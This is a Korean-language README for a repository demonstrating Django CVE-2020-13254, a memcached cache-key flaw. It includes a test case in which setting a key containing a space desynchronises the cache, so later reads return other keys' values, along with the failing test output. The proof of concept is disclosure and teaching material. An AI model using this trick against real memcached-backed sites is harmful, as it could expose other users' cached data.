
Django CVE-2020-13254 취약점 데모
이 저장소는 CVE-2020-13254의 악용을 두 가지 방식으로 보여줍니다. 웹 인터페이스를 통한 방식과 실패하는 테스트 케이스를 통한 방식입니다.
자세한 내용은 다음을 방문하세요:
https://danpalmer.me/2020-06-07-django-memcache-vulnerability/
이 예제는 캐시에 값을 설정하는 폼과 값을 가져오는 폼, 두 개의 폼이 있는 웹 인터페이스를 제공합니다. 이들은 Django 캐시 백엔드 호출로 직접 변환됩니다. 이 코드베이스는 세션 또는 인증 시스템을 구현하지 않으므로, 같은 브라우저 탭에서의 여러 사용은 서로 다른 머신을 사용하는 여러 사용자와 구분할 수 없습니다.
악용하려면:
이 과정은 다음과 같이 테스트 케이스로 표현할 수 있습니다:
from django.core.cache import cache
from django.test import TestCase
class CacheTests(TestCase):
def test_cache(self):
cache.set('k1', 'v1')
cache.set('k2', 'v2')
try:
cache.set('a b', 'v3')
except Exception:
pass
self.assertEqual(
[
cache.get(x) for x in
['k2', 'k1', 'k2', 'k1', 'k2', 'k1']
],
['v2', 'v1', 'v2', 'v1', 'v2', 'v1'],
)
이 테스트는 다음 오류와 함께 실패합니다:
=============================================================
FAIL: test_cache (demo.tests.CacheTests)
-------------------------------------------------------------
Traceback (most recent call last):
File "tests.py", line 30, in test_cache
'v1',
AssertionError: Lists differ
First differing element 0:
None
'v2'
- [None, 'v2', 'v1', 'v2', 'v1', 'v2']
? ------
+ ['v2', 'v1', 'v2', 'v1', 'v2', 'v1']
? ++++++
-------------------------------------------------------------
set 이후 반환되는 캐시 결과는 수행되는 쿼리와 어긋나게 됩니다.